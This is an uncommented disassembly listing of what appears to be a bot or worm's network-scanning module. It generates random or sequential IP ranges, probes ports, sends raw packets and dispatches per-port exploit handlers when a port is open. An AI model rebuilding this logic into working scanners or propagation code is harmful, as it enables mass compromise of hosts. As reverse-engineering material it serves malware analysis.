--------------------------------------------------------------------------- loc_423167: ; CODE XREF: sub_422A40+688j push offset aR ; " -r" mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset aA ; " -a" mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 push offset aB ; " -b" mov ecx, esi call sub_4013E3 test eax, eax jnz short loc_4231C4 lea ecx, [esi+2Ah] call sub_4014D3 push eax push offset aScanNoIpSpecif ; "scan: no ip specified" loc_4231A5: ; CODE XREF: sub_422A40+645j mov al, [esi+94h] mov cl, [esi+93h] push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 loc_4231BD: ; CODE XREF: sub_422A40+132j mov al, 1 jmp loc_422E3B ; --------------------------------------------------------------------------- loc_4231C4: ; CODE XREF: sub_422A40+735j ; sub_422A40+745j ... mov ecx, dword_4D60BD lea edx, [esp+7A0h+var_78C] lea eax, [esp+7A0h+var_788] push edx push eax push ecx mov [esp+7ACh+var_78C], 10h nop call near ptr 71AB951Eh push offset aA ; " -a" mov ecx, esi call sub_4013E3 mov edx, eax mov eax, [esp+79Ch+var_780] neg edx sbb edx, edx push 10h and edx, 0FFFF0100h add edx, 0FFFFh and eax, edx push eax mov [esp+7A4h+var_780], eax nop call near ptr 71AB3F41h push eax lea eax, [esp+7A8h+var_770] push eax call near ptr 77C47A90h nop add esp, 0Ch mov ecx, esi push offset aR ; " -r" call sub_4013E3 test eax, eax jz short loc_42328B push offset aA ; " -a" mov ecx, esi call sub_4013E3 mov ebp, dword_50FA90 mov edi, eax neg edi sbb edi, edi lea ecx, [esp+7A0h+var_770] neg edi push 30h push ecx add edi, 2 call ebp ; strrchr add esp, 8 xor bl, bl test edi, edi jle short loc_42327E loc_423262: ; CODE XREF: sub_422A40+83Cj test eax, eax jz short loc_42327E lea edx, [esp+7A0h+var_770] push 30h push edx mov byte ptr [eax], 78h call ebp ; strrchr add esp, 8 inc bl movsx ecx, bl cmp ecx, edi jl short loc_423262 loc_42327E: ; CODE XREF: sub_422A40+820j ; sub_422A40+824j mov [esp+7A0h+var_630], 1 jmp short loc_423296 ; --------------------------------------------------------------------------- loc_42328B: ; CODE XREF: sub_422A40+7F1j mov [esp+7A0h+var_630], 0 loc_423296: ; CODE XREF: sub_422A40+722j ; sub_422A40+849j mov edx, dword_4D60BD xor eax, eax mov al, [esi+93h] lea edi, [esi+2Ah] mov ecx, edi mov [esp+7A0h+var_660], edx mov [esp+7A0h+var_638], 0 mov [esp+7A0h+var_634], eax call sub_4017E4 push eax lea ecx, [esp+7A4h+var_760] push 80h push ecx call near ptr 77C3FA76h nop mov eax, [esp+7ACh+var_630] add esp, 0Ch test eax, eax mov [esp+7A0h+var_6E0], 0 mov eax, offset aRandom ; "random" jnz short loc_4232F8 mov eax, offset aSequential ; "sequential" loc_4232F8: ; CODE XREF: sub_422A40+8B1j mov edx, [esp+7A0h+var_644] mov ecx, [esp+7A0h+var_654] push edx mov edx, [esp+7A4h+var_658] push ecx mov ecx, [esp+7A8h+var_65C] push edx lea edx, [esp+7ACh+var_770] push ecx push edx push eax mov eax, [esp+7B8h+var_640] lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ecx, ds:44441Ah[eax*4] push ecx push offset aScanSSPortScan ; "Scan(%s): %s Port Scan %s:%d - Delay %d"... mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 push 0 lea ecx, [esp+7D4h+var_20C] push 3 push ecx call sub_401BD6 add esp, 3Ch lea edx, [esp+7A0h+var_770] mov [esp+7A0h+var_650], eax push edx call sub_402261 mov al, 1 jmp loc_422E3B sub_422A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 260h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4235F0 proc near ; CODE XREF: sub_40114Fj arg_A6 = dword ptr 0AAh arg_AE = dword ptr 0B2h mov ecx, [esp+arg_AE] push ebx test ecx, ecx push offset byte_446F60 mov ecx, offset dword_447988 setnz bl call sub_4014D3 push eax push ebx push ebx push offset byte_4D60A5 call sub_401848 mov eax, [esp+18h+arg_A6] add esp, 14h lea eax, [eax+eax*2] pop ebx lea eax, [eax+eax*4] mov ecx, dword_444440[eax*4] inc ecx mov dword_444440[eax*4], ecx mov al, 1 retn sub_4235F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423660 proc near ; CODE XREF: sub_401DF7j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 14h xor eax, eax lea ecx, [esp+14h+var_14] mov [esp+14h+var_10], eax lea edx, [esp+14h+var_10] mov [esp+14h+var_C], eax push ecx mov [esp+18h+var_8], eax push edx mov [esp+1Ch+var_4], eax mov eax, [esp+1Ch+arg_0] push eax mov [esp+20h+var_14], 10h nop call near ptr 71AB951Eh mov ecx, [esp+14h+var_C+3] mov edx, [esp+14h+var_C+2] mov eax, [esp+14h+var_C+1] and ecx, 0FFh push ecx mov ecx, [esp+18h+var_C] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_50DAD8 nop call sub_5EA1BD mov eax, offset dword_50DAD8 add esp, 2Ch retn sub_423660 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423720 proc near ; CODE XREF: sub_401F37j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, dword_50BB80[esi*8] push eax call near ptr 71AB2BC0h nop inc eax push eax call near ptr 71AB2BC0h nop mov dword_50BB80[esi*8], eax pop esi retn sub_423720 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423760 proc near ; CODE XREF: sub_401131j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h mov edx, [esp+10h+arg_0] push ebx or ebx, 0FFFFFFFFh push edi mov edi, edx mov ecx, ebx xor eax, eax mov [esp+18h+var_8], ebx repne scasb not ecx dec ecx mov [esp+18h+var_C], ebx cmp ecx, 0Fh mov [esp+18h+var_10], ebx mov [esp+18h+var_4], ebx jbe short loc_423792 pop edi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_423792: ; CODE XREF: sub_423760+2Aj lea eax, [esp+18h+var_4] push esi lea ecx, [esp+1Ch+var_10] push eax push ecx lea eax, [esp+24h+var_C] lea ecx, [esp+24h+var_8] push eax push ecx push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call near ptr 77C41B72h nop mov eax, [esp+34h+var_8] mov esi, dword_50FABC add esp, 18h cmp eax, ebx jnz short loc_4237CA call esi ; rand mov [esp+1Ch+var_8], eax loc_4237CA: ; CODE XREF: sub_423760+62j cmp [esp+1Ch+var_C], ebx jnz short loc_4237D6 call esi ; rand mov [esp+1Ch+var_C], eax loc_4237D6: ; CODE XREF: sub_423760+6Ej cmp [esp+1Ch+var_10], ebx jnz short loc_4237E2 call esi ; rand mov [esp+1Ch+var_10], eax loc_4237E2: ; CODE XREF: sub_423760+7Aj mov eax, [esp+1Ch+var_4] cmp eax, ebx jnz short loc_4237EC call esi ; rand loc_4237EC: ; CODE XREF: sub_423760+88j mov edi, [esp+1Ch+var_10] mov edx, [esp+1Ch+var_C] shl eax, 8 mov ecx, [esp+1Ch+arg_4] add eax, edi shl eax, 8 add eax, edx mov edx, [esp+1Ch+var_8] shl eax, 8 add eax, edx pop esi pop edi mov dword_50BB80[ecx*8], eax pop ebx add esp, 10h retn sub_423760 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_423850 proc near ; CODE XREF: sub_401E38j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 120h push esi push edi mov edi, 1 push 0 push edi push 2 mov [esp+134h+var_120], edi nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_42387E pop edi xor eax, eax pop esi add esp, 120h retn ; --------------------------------------------------------------------------- loc_42387E: ; CODE XREF: sub_423850+21j mov ecx, [esp+128h+arg_4] mov eax, [esp+128h+arg_0] push ecx mov [esp+12Ch+var_114], 2 mov [esp+12Ch+var_110], eax nop call near ptr 71AB2B66h lea edx, [esp+128h+var_120] mov [esp+128h+var_112], ax push edx push 8004667Eh push esi nop call near ptr 71AB4519h lea eax, [esp+128h+var_114] push 10h push eax push esi nop call near ptr 71AB406Ah mov ecx, [esp+128h+arg_8] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax push 0 push 0 mov [esp+13Ch+var_11C], ecx mov [esp+13Ch+var_118], 0 mov [esp+13Ch+var_100], esi mov [esp+13Ch+var_104], edi nop call near ptr 71AB2DC0h push esi mov edi, eax call near ptr 71AB9639h nop xor eax, eax test edi, edi pop edi pop esi setnle al add esp, 120h retn sub_423850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_423940: ; CODE XREF: ___:00401046j mov eax, 10110h call sub_436840 push ebx push ebp mov ebp, dword_50FC2C push esi push edi push 2649h call ebp ; ntohs mov [esp+24h], ax mov eax, [esp+1012Ch] push eax call ebp ; ntohs mov [esp+26h], ax call near ptr 77C371D3h nop xor ebx, ebx push 200h mov [esp+2Ch], eax mov [esp+30h], ebx mov [esp+34h], bx mov [esp+44h], bx mov word ptr [esp+36h], 5 mov [esp+38h], bx mov word ptr [esp+3Ah], 1 mov [esp+3Ch], bx mov [esp+3Eh], bx mov [esp+40h], bx mov [esp+42h], bx call ebp ; ntohs mov ecx, [esp+10124h] mov edx, [esp+10128h] push 24h mov [esp+46h], ax mov [esp+48h], bx mov [esp+4Ah], bx mov [esp+4Ch], ecx mov [esp+50h], edx mov [esp+54h], bl mov byte ptr [esp+55h], 6 call ebp ; ntohs mov [esp+52h], ax mov ecx, 9 lea esi, [esp+24h] lea edi, [esp+54h] lea eax, [esp+48h] push 20h rep movsd push eax call sub_401A28 mov edx, [esp+10134h] xor ecx, ecx mov [esp+1Ch], ecx add esp, 8 mov [esp+18h], ecx mov [esp+44h], ax mov [esp+1Ch], ecx push edx mov [esp+24h], ecx mov word ptr [esp+18h], 2 call ebp ; ntohs mov [esp+16h], ax mov eax, [esp+10128h] push 6 push 3 push 2 mov [esp+24h], eax mov dword ptr [esp+1Ch], 10h nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_423A69 push offset aSocketOpenFail ; "socket open failed" jmp loc_423B68 ; --------------------------------------------------------------------------- loc_423A69: ; CODE XREF: ___:00423A5Dj mov ecx, [esp+10h] lea edx, [esp+14h] push ecx push edx push ebx lea eax, [esp+30h] push 24h push eax push esi nop call near ptr 71AB2C69h mov edi, eax cmp edi, 14h jz short loc_423AC2 call near ptr 71AB94DCh nop push eax push edi lea ecx, [esp+70h] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... push ecx nop call sub_5EA1BD lea edx, [esp+78h] push edx call sub_4010D2 add esp, 14h push esi call near ptr 71AB9639h nop pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423AC2: ; CODE XREF: ___:00423A87j mov ecx, 400Dh xor eax, eax lea edi, [esp+0E8h] mov ebp, 2649h rep stosd stosw stosb cmp [esp+0FEh], bp jz short loc_423B13 mov edi, dword_50FC58 loc_423AEA: ; CODE XREF: ___:00423B11j lea eax, [esp+10h] lea ecx, [esp+14h] push eax push ecx push ebx lea edx, [esp+0F4h] push 10037h push edx push esi call edi ; recvfrom test eax, eax jl short loc_423B42 cmp [esp+0FEh], bp jnz short loc_423AEA loc_423B13: ; CODE XREF: ___:00423AE2j push esi call near ptr 71AB9639h nop cmp word ptr [esp+10Eh], 1 jnz short loc_423B63 push offset aSocketOpen_ ; "Socket open." call sub_4010D2 add esp, 4 mov eax, 1 pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B42: ; CODE XREF: ___:00423B07j push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4010D2 add esp, 4 push esi nop call near ptr 71AB9639h pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- loc_423B63: ; CODE XREF: ___:00423B23j push offset dword_44466C loc_423B68: ; CODE XREF: ___:00423A64j call sub_4010D2 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 10110h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_423C10: ; CODE XREF: ___:loc_401F23j sub esp, 290h mov eax, [esp+294h] push ebx push ebp push esi push edi mov ecx, 53h mov esi, eax lea edi, [esp+18h] rep movsd mov esi, [esp+13Ch] mov ecx, [esp+140h] mov [esp+10h], esi mov [esp+14h], ecx mov dword ptr [eax+148h], 1 nop call near ptr 2960743h push eax nop call near ptr 77C371BCh lea eax, [esi+esi*2] add esp, 4 shl eax, 4 sub eax, esi lea eax, [eax+eax*2] lea ebp, ds:448FBBh[eax*4] mov eax, dword_4491BF[eax*4] mov ecx, dword_50BB84[eax*8] test ecx, ecx jz loc_423EC4 mov ebx, off_50FBF0 loc_423C8C: ; CODE XREF: ___:00423EBAj mov ecx, [esp+158h] push eax test ecx, ecx jz short loc_423CA7 lea edx, [esp+1Ch] push edx call sub_401131 add esp, 8 jmp short loc_423CAF ; --------------------------------------------------------------------------- loc_423CA7: ; CODE XREF: ___:00423C96j call sub_401F37 add esp, 4 loc_423CAF: ; CODE XREF: ___:00423CA5j mov ecx, [ebp+204h] mov edx, [esp+12Ch] mov edi, dword_50FC78 mov esi, eax mov eax, [esp+14h] push eax push ecx push edx push esi call edi ; inet_ntoa push eax lea eax, [esp+230h] push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"... push eax call ebx ; sub_5EA1BD add esp, 18h lea ecx, [esp+220h] push ecx push ebp call ebx ; sub_5EA1BD mov edx, [esp+138h] mov eax, [esp+134h] push edx push eax push esi call sub_401E38 add esp, 14h cmp eax, 1 jnz loc_423EA0 cmp dword ptr [esp+148h], 0FFFFFFFFh jnz loc_423DC2 push offset dword_50DAC0 nop call near ptr 7C901005h mov ecx, [esp+12Ch] push ecx push esi call edi ; inet_ntoa push eax lea edx, [esp+228h] push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open." push edx call ebx ; sub_5EA1BD mov eax, [esp+164h] add esp, 10h test eax, eax jnz short loc_423DA2 mov al, [esp+0A8h] test al, al jz short loc_423D7D mov eax, [esp+150h] lea ecx, [esp+220h] push eax mov eax, [esp+12Ch] lea edx, [esp+0ACh] push ecx push edx push eax jmp short loc_423D9A ; --------------------------------------------------------------------------- loc_423D7D: ; CODE XREF: ___:00423D59j mov ecx, [esp+150h] lea edx, [esp+220h] push ecx mov ecx, [esp+12Ch] lea eax, [esp+2Ch] push edx push eax push ecx loc_423D9A: ; CODE XREF: ___:00423D7Bj call sub_401523 add esp, 10h loc_423DA2: ; CODE XREF: ___:00423D4Ej lea edx, [esp+220h] push edx call sub_4010D2 add esp, 4 push offset dword_50DAC0 nop call near ptr 7C9010EDh jmp loc_423EA0 ; --------------------------------------------------------------------------- loc_423DC2: ; CODE XREF: ___:00423D16j push esi call edi ; inet_ntoa push eax lea eax, [esp+16Ch] push eax call ebx ; sub_5EA1BD mov eax, [esp+150h] add esp, 8 lea eax, [eax+eax*2] lea ecx, [eax+eax*4] lea eax, [esp+1F8h] lea edx, ds:444410h[ecx*4] push edx push eax call ebx ; sub_5EA1BD mov al, [esp+0B0h] add esp, 8 test al, al jz short loc_423E12 lea ecx, [esp+0A8h] lea edx, [esp+178h] push ecx push edx jmp short loc_423E1F ; --------------------------------------------------------------------------- loc_423E12: ; CODE XREF: ___:00423DFEj lea eax, [esp+28h] lea ecx, [esp+178h] push eax push ecx loc_423E1F: ; CODE XREF: ___:00423E10j call ebx ; sub_5EA1BD mov eax, [esp+158h] mov edx, [esp+130h] mov ecx, [esp+15Ch] mov [esp+21Ah], eax mov eax, [esp+18h] add esp, 8 mov [esp+164h], edx mov edx, [esp+12Ch] mov [esp+206h], eax mov eax, [esp+148h] sub esp, 0BCh mov [esp+2D2h], ecx mov ecx, 2Eh lea esi, [esp+220h] mov edi, esp mov [esp+2BEh], edx mov [esp+2C6h], eax lea eax, [eax+eax*2] rep movsd lea edx, [eax+eax*4] movsw call off_44443C[edx*4] add esp, 0BCh loc_423EA0: ; CODE XREF: ___:00423D08j ; ___:00423DBDj push 7D0h call near ptr 29B0000h nop mov eax, [ebp+204h] mov ecx, dword_50BB84[eax*8] test ecx, ecx jnz loc_423C8C mov esi, [esp+10h] loc_423EC4: ; CODE XREF: ___:00423C80j push esi call sub_401E24 add esp, 4 push 0 nop call near ptr 29B0229h nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_402261j mov eax, [esp+4] sub esp, 1CCh mov ecx, 53h push ebx push ebp push esi push edi mov esi, eax lea edi, [esp+10h] mov ebx, 1 rep movsd mov [eax+144h], ebx lea eax, [esp+10h] push eax nop call near ptr 71AB2BF4h sub esp, 14Ch lea esi, [esp+15Ch] mov ecx, [esp+27Ch] mov edi, esp mov dword_50BB80[ecx*8], eax mov ecx, 53h rep movsd call j_nullsub_9 push 3 call sub_401483 add esp, 150h cmp eax, ebx jnz short loc_424021 push offset dword_50DAC0 nop call near ptr 28F0000h push offset dword_50DAC0 call near ptr 28F078Ah nop loc_424021: ; CODE XREF: ___:00424009j mov edx, [esp+130h] mov eax, [esp+13Ch] mov ebp, dword_50F8D0 mov esi, ebx mov dword_50BB84[edx*8], ebx cmp eax, ebx mov ebx, off_50FBF0 jb loc_424150 mov edi, dword_50F860 loc_424052: ; CODE XREF: ___:0042414Aj mov eax, [esp+130h] mov ecx, [esp+124h] push esi push eax lea edx, [esp+18h] push ecx push edx lea eax, [esp+16Ch] push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"... push eax mov [esp+150h], esi call ebx ; sub_5EA1BD push 0 lea ecx, [esp+178h] push 3 push ecx call sub_401BD6 lea ecx, [eax+eax*2] add esp, 24h shl ecx, 4 sub ecx, eax push 0 push 0 mov [esp+13Ch], eax mov eax, [esp+138h] lea edx, [ecx+ecx*2] lea ecx, [esp+18h] push ecx push offset loc_401F23 push 0 push 0 mov dword_4491BF[edx*4], eax call edi mov edx, [esp+134h] lea ecx, [edx+edx*2] shl ecx, 4 sub ecx, edx lea edx, [ecx+ecx*2] mov dword_4491CF[edx*4], eax mov ecx, [esp+134h] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx lea eax, [eax+eax*2] mov ecx, dword_4491CF[eax*4] test ecx, ecx jz short loc_424118 mov eax, [esp+158h] test eax, eax jnz short loc_42413E loc_424107: ; CODE XREF: ___:00424114j push 1Eh call ebp mov eax, [esp+158h] test eax, eax jz short loc_424107 jmp short loc_42413E ; --------------------------------------------------------------------------- loc_424118: ; CODE XREF: ___:004240FAj nop call near ptr 2930847h push eax lea ecx, [esp+160h] push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "... push ecx call ebx ; sub_5EA1BD lea edx, [esp+168h] push edx call sub_4010D2 add esp, 10h loc_42413E: ; CODE XREF: ___:00424105j ; ___:00424116j push 1Eh call ebp inc esi cmp esi, [esp+13Ch] jbe loc_424052 loc_424150: ; CODE XREF: ___:00424046j mov eax, [esp+12Ch] test eax, eax jz short loc_42417E lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] lea eax, [eax+eax*4] shl eax, 5 push eax call ebp mov esi, 1 mov eax, [esp+12Ch] jmp short loc_4241B1 ; --------------------------------------------------------------------------- loc_42417E: ; CODE XREF: ___:00424159j mov ecx, [esp+130h] mov esi, 1 cmp dword_50BB84[ecx*8], esi jnz short loc_4241B1 loc_424193: ; CODE XREF: ___:004241A8j push 7D0h call ebp mov edx, [esp+130h] cmp dword_50BB84[edx*8], esi jz short loc_424193 mov eax, [esp+12Ch] loc_4241B1: ; CODE XREF: ___:0042417Cj ; ___:00424191j mov ecx, [esp+130h] mov edx, [esp+124h] push eax push edx mov ecx, dword_50BB80[ecx*8] push ecx call near ptr 71AB3F41h nop push eax lea eax, [esp+168h] push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"... push eax call ebx ; sub_5EA1BD mov eax, [esp+160h] add esp, 14h test eax, eax jnz short loc_424212 mov ecx, [esp+148h] lea edx, [esp+15Ch] push ecx mov ecx, [esp+124h] lea eax, [esp+24h] push edx push eax push ecx call sub_401523 add esp, 10h loc_424212: ; CODE XREF: ___:004241EBj lea edx, [esp+15Ch] push edx call sub_4010D2 mov eax, [esp+134h] add esp, 4 push 0BB8h mov dword_50BB84[eax*8], 0 call ebp push 3 call sub_401483 add esp, 4 cmp eax, esi jnz short loc_424254 push offset dword_50DAC0 nop call near ptr 28F0000h loc_424254: ; CODE XREF: ___:00424247j mov ecx, [esp+130h] push ecx call sub_401E24 add esp, 4 push 0 nop call near ptr 29B0229h nop nop nop nop ; --------------------------------------------------------------------------- db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424330 proc near ; CODE XREF: sub_4012A8j mov eax, ecx mov dword ptr [eax+4], 0 mov dword ptr [eax], 0 retn sub_424330 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_424350: ; CODE XREF: ___:004015E1j mov edx, [esp+4] sub esp, 8 xor eax, eax push esi mov esi, ecx push edi mov edi, edx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push ecx push edx lea ecx, [esp+10h] call sub_401834 mov ecx, [eax] pop edi mov [esi], ecx mov edx, [eax+4] mov eax, esi mov [esi+4], edx pop esi add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4243A0 proc near ; CODE XREF: sub_401834j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push ebp mov ebp, [esp+8+arg_4] mov ebx, ecx push ebp call near ptr 77C2C407h nop mov edx, eax add esp, 4 test edx, edx jz short loc_4243F2 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, ebp mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 8 ; --------------------------------------------------------------------------- loc_4243F2: ; CODE XREF: sub_4243A0+16j mov eax, ebx pop ebp pop ebx retn 8 sub_4243A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424420 proc near ; CODE XREF: sub_4021D5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] push ebx mov ebx, ecx push ebp mov ecx, [esp+8+arg_C] lea ebp, [eax+ecx] push ebp nop call near ptr 77C2C407h mov edx, eax add esp, 4 test edx, edx jz short loc_424494 mov ecx, ebp push esi mov esi, ecx push edi xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+10h+arg_0] and ecx, 3 rep stosb mov ecx, [esp+10h+arg_4] mov edi, edx mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [esp+10h+arg_C] mov esi, [esp+10h+arg_8] lea edi, [edx+eax] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebx and ecx, 3 rep movsb pop edi mov [ebx+4], ebp pop esi mov [ebx], edx pop ebp pop ebx retn 10h ; --------------------------------------------------------------------------- loc_424494: ; CODE XREF: sub_424420+1Dj mov eax, ebx pop ebp pop ebx retn 10h sub_424420 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4244C0 proc near ; CODE XREF: sub_4016B8j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_4244D3 push eax nop call near ptr 77C2C21Bh add esp, 4 loc_4244D3: ; CODE XREF: sub_4244C0+7j mov dword ptr [esi+4], 0 mov dword ptr [esi], 0 pop esi retn sub_4244C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424500 proc near ; CODE XREF: sub_4010A0j var_4 = dword ptr -4 push ecx push ebx mov ebx, ecx push ebp push esi mov eax, [ebx+4] cmp eax, 0FFFFh jl short loc_424517 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424517: ; CODE XREF: sub_424500+Ej xor ecx, ecx cmp eax, 7Fh setnl cl dec ecx and ecx, 0FFFFFFFEh add ecx, 3 mov esi, ecx add eax, esi mov [esp+10h+var_4], esi push eax nop call near ptr 77C2C407h mov ebp, eax add esp, 4 test ebp, ebp jnz short loc_424545 pop esi pop ebp xor al, al pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_424545: ; CODE XREF: sub_424500+3Cj push edi mov edi, [ebx+4] mov ecx, esi xor eax, eax add ecx, edi mov edi, ebp mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 cmp esi, 1 rep stosb jnz short loc_424574 mov al, [ebx+4] lea edi, [ebp+1] mov [ebp+0], al mov ecx, [ebx+4] mov esi, [ebx] jmp short loc_42458F ; --------------------------------------------------------------------------- loc_424574: ; CODE XREF: sub_424500+62j mov byte ptr [ebp+0], 82h mov eax, [ebx+4] sar eax, 8 mov [ebp+1], al mov cl, [ebx+4] mov [ebp+2], cl mov ecx, [ebx+4] mov esi, [ebx] lea edi, [ebp+3] loc_42458F: ; CODE XREF: sub_424500+72j mov edx, ecx shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+18h+var_4] mov eax, [ebx+4] add esp, 4 add eax, ecx mov [ebx], ebp mov [ebx+4], eax pop edi pop esi pop ebp mov al, 1 pop ebx pop ecx retn sub_424500 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4245F0 proc near ; CODE XREF: sub_401B68j var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 8 push ebx push ebp mov ebp, ecx mov eax, [ebp+4] mov ecx, [ebp+0] push eax push ecx push 1 push offset dword_446F64 lea ecx, [esp+20h+var_8] call sub_4021D5 lea ecx, [esp+10h+var_8] call sub_4010A0 mov edx, [esp+10h+var_4] inc edx push edx call near ptr 77C2C407h nop mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424635 pop ebp xor al, al pop ebx add esp, 8 retn ; --------------------------------------------------------------------------- loc_424635: ; CODE XREF: sub_4245F0+3Bj mov eax, [esp+10h+var_4] push esi push edi mov edi, ebx lea ecx, [eax+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov byte ptr [ebx], 3 mov ecx, [esp+18h+var_4] mov esi, [esp+18h+var_8] mov eax, ecx lea edi, [ebx+1] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, ebp call sub_4016B8 mov ecx, [esp+18h+var_4] mov [ebp+0], ebx inc ecx mov [ebp+4], ecx lea ecx, [esp+18h+var_8] call sub_4016B8 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 8 retn sub_4245F0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4246D0 proc near ; CODE XREF: sub_4012C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] sub esp, 8 push esi mov esi, ecx mov ecx, [esp+0Ch+arg_0] push eax mov edx, [esi+4] mov eax, [esi] push ecx push edx push eax lea ecx, [esp+1Ch+var_8] call sub_4021D5 mov ecx, esi call sub_4016B8 mov ecx, [esp+0Ch+var_8] mov edx, [esp+0Ch+var_4] mov [esi], ecx mov [esi+4], edx mov al, 1 pop esi add esp, 8 retn 8 sub_4246D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424720 proc near ; CODE XREF: sub_402036j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov edx, ecx push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push esi mov ecx, edx call sub_4012C6 pop edi pop esi retn 4 sub_424720 endp ; 